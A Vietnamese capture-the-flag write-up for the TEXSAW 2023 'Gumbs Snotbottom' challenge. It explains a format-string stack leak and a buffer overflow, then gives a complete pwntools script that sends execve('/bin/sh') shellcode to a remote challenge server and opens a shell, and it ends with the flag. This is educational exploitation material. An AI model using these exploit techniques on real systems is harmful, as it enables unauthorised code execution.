Try   HackMD

(writeup) TEXSAW 2023

Gumbs Snotbottom (300 point)

  • check file + checksec

  • check ida

  • NX tắt, hướng đi: ret2shellcode
  • ta thấy đề sẽ input 64 byte và chỉ có 24 byte trong payload là sẽ được chuyển hoa ->thường
  • offset:

72

  • ngay $rbp có luôn stack và trong hàm to_lower có printf() -> fmtstr
  • thấy stack ngay %11
  • payload ta gửi 24 byte "A" và kế đó là %11$p, padding 72 byte r thực thi lại main
  • nhưng dữ liệu leak ra ở bên kia là %10 nên chỉnh lại xíu

  • khi ta thực thi lại hàm main thành công nhưng khi bước vào input() lần 2 để chèn shellcode thì bị lỗi xmm0

  • ý tưởng sẽ nhảy lại hàm main()+1 sau <push>

  • thành công bước vào lần gửi payload thứ 2, ta sẽ sử dụng tới stack ta leak được để trỏ vào shellcode
  • thì payload ta phải tiếp tục chèn 24 byte "A" rồi tới shellcode, padding 72 byte rồi ret vào stack trỏ tới shellcode

vì gửi shellcode luôn thì bị vướng 24 byte bắt buộc phải chuyển từ hoa sang thường, sợ dính phải byte kì dị như '' trong shellcode

  • ta có thể tính offset của stack ta leak ra được đến stack trỏ đến shellcode của ta

0x007ffdee6f8180 - 0x007ffdee6f8148
0x38

  • remote thôi

  • script:
#!/usr/bin/python3

from pwn import *

context.binary = exe = ELF('./cs101-hw1',checksec=False)

#p = process(exe.path)
p = remote('18.216.238.24',1001)

# gdb.attach(p, gdbscript='''
# 	b*input+27
# 	b*input+32
# 	b*to_lower+106
# 	c
# 	''')
# input()

shellcode = asm(
    '''
    mov rbx, 29400045130965551
    push rbx

    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x3b
    syscall
    ''', arch='amd64')

payload = b'A'*24
payload += b'%10$p'
payload = payload.ljust(72,b'A')
payload += p64(exe.sym['main']+1)

p.sendlineafter(b'Text:\n',payload)

p.recvuntil(b'a'*24)
stack_leak = int(p.recv(14),16)
log.info("stack leak: " + hex(stack_leak))
ptr_shell = stack_leak - 0x38

payload = b'A'*24
payload += shellcode
payload = payload.ljust(72,b'A')
payload += p64(ptr_shell)

p.sendlineafter(b'Text:\n',payload)

p.interactive()

texsaw{64_b1t_5He11CoD3_84bY}